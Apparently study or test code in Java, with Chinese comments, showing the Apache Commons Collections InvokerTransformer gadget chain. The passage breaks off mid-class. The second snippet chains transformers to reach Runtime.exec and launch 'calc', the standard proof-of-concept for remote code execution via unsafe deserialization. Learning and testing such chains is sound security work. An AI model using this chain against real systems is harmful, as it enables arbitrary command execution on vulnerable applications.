测试代码:
@SuppressWarnings({"rawtypes", "unchecked"})
public class VulTest {
public static void main(String[] args) {
Transformer transform = new InvokerTransformer( //InvokerTransformer对象,调用了transform
"append",
new Class[]{String.class},
new Object[]{"exploitcat?"});
Object newObject = transform.transform(new StringBuffer("your name is ")) ;
System.out.println(newObject);
}
}
测试代码1:
public class TransformTest {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //绿盟是java.net.URLClassLoader.class
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, //绿盟是getConstructor;java.lang.Class.getConstructor() 方法返回一个Constructor对象
new Object[]{"getRuntime", new Class[0]}), //绿盟是newInstance
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, //绿盟是loadClass
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, //绿盟是getMethod
new Object[]{"calc"})
};